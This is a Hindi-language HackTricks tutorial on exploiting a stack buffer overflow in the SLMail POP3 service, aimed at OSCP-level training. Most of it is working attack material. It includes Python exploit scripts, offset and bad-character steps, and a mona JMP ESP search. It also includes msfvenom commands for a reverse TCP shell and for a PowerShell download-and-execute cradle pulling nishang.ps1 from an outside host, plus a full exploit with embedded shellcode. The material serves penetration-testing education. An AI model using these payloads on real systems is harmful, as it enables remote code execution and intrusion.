hacktricks/reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md
2024-04-06 18:32:19 +00:00

262 lines
15 KiB
Markdown

# Windows Exploiting (Basic Guide - OSCP lvl)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
</details>
## **SLMail सेवा स्थापित करना शुरू करें**
## SLMail सेवा पुनः आरंभ करें
हर बार जब भी आपको **सेवा SLMail को पुनः आरंभ करने की आवश्यकता** होती है, तो आप विंडो कंसोल का उपयोग करके इसे कर सकते हैं:
```
net start slmail
```
![](<../.gitbook/assets/image (23) (1).png>)
## बहुत ही मौलिक पायथन शोषण टेम्पलेट
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **इम्यूनिटी डीबगर फ़ॉन्ट बदलें**
`विकल्प >> दिखावट >> फ़ॉन्ट >> बदलें(कंसोलस, बोल्ड, 9) >> ठीक है`
## **प्रक्रिया को इम्यूनिटी डीबगर से जोड़ें:**
**फ़ाइल --> जोड़ें**
![](<../.gitbook/assets/image (24) (1) (1).png>)
**और स्टार्ट बटन दबाएं**
## **एक्सप्लॉइट भेजें और जांचें कि क्या ईआईपी प्रभावित है:**
![](<../.gitbook/assets/image (25) (1) (1).png>)
हर बार जब आप सेवा को तोड़ते हैं, तो आपको इस पृष्ठ के शुरू में दिखाया गया है कि आपको इसे पुनः प्रारंभ करना चाहिए।
## ईआईपी को संशोधित करने के लिए एक पैटर्न बनाएं
पैटर्न उस बफर के बराबर होना चाहिए जिसका आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।
![](<../.gitbook/assets/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
एक्सप्लॉइट का बफर बदलें और पैटर्न सेट करें और एक्सप्लॉइट चालू करें।
एक नया क्रैश होना चाहिए, लेकिन एक अलग EIP पता होना चाहिए:
![](<../.gitbook/assets/image (27) (1) (1).png>)
जांचें कि पता आपके पैटर्न में था या नहीं:
![](<../.gitbook/assets/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
लगता है **हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं**
इसे जांचने के लिए एक्सप्लॉइट के बफर को संशोधित करें:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
इस बफर के साथ EIP क्रैश होना चाहिए जिसे 42424242 ("BBBB") पर पहुंचना चाहिए।
![](<../.gitbook/assets/image (30) (1) (1).png>)
![](<../.gitbook/assets/image (29) (1) (1).png>)
लगता है काम कर रहा है।
## स्टैक के अंदर शेलकोड स्थान की जांच करें
600B किसी भी शक्तिशाली शेलकोड के लिए पर्याप्त होना चाहिए।
चलिए बफर बदलते हैं:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
लॉन्च करें नया एक्सप्लॉइट और जांचें EBP और उपयोगी शेलकोड की लंबाई
![](<../.gitbook/assets/image (31) (1).png>)
![](<../.gitbook/assets/image (32) (1).png>)
आप देख सकते हैं कि जब सुरक्षा दोष तक पहुंचा जाता है, तो EBP शेलकोड की ओर प्वाइंट कर रहा है और हमें यहां एक शेलकोड स्थानित करने के लिए बहुत जगह है।
इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B** है। पर्याप्त।
## बुरा वर्णों के लिए जांच करें
फिर से बफर बदलें:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
बैडचार्स 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा बुरा होता है।
इस नए बफर के साथ एक्सप्लॉइट को बार-बार निष्पादित करें जिसमें वे वर्ण हटाए जाते हैं जो अनुपयोगी पाए जाते हैं:।
उदाहरण के लिए:
इस मामले में आप देख सकते हैं कि **आपको वर्ण 0x0A का उपयोग नहीं करना चाहिए** (क्योंकि मेमोरी में कुछ भी सहेजा नहीं गया है क्योंकि वर्ण 0x09)।
![](<../.gitbook/assets/image (33) (1).png>)
इस मामले में आप देख सकते हैं कि **वर्ण 0x0D को टाल दिया गया है**:
![](<../.gitbook/assets/image (34) (1).png>)
## एक JMP ESP को एक रिटर्न पता के रूप में खोजें
उपयोग करते हुए:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
आपको **मेमोरी मैप्स की सूची** बनानी है। कुछ DLL खोजें जिसमें:
* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**
![](<../.gitbook/assets/image (35) (1).png>)
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढने होंगे, इसके लिए निम्नलिखित को चलाएं:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**फिर, यदि कोई पता मिल जाता है, तो उसमें से एक चुनें जिसमें कोई भी बुरी चर न हो:**
![](<../.gitbook/assets/image (36) (1).png>)
**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_
## शैलकोड बनाएं
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड तक पहुंचा गया है), तो अन्य शेलकोड बनाने का प्रयास करें (msfvenom के साथ एक ही पैरामीटर के लिए विभिन्न शेलकोड बनाएं)।
**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसे उपयोग करें और वापसी पता JMP ESP के लिए, और एक्सप्लॉइट पूरा करें:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
ऐसे शेलकोड होते हैं जो अपने आप को **अधिलेखित** कर देते हैं, इसलिए हमेशा शेलकोड के पहले कुछ NOPs जोड़ना महत्वपूर्ण है
{% endhint %}
## शेलकोड को बेहतर बनाना
इन पैरामीटर्स को जोड़ें:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>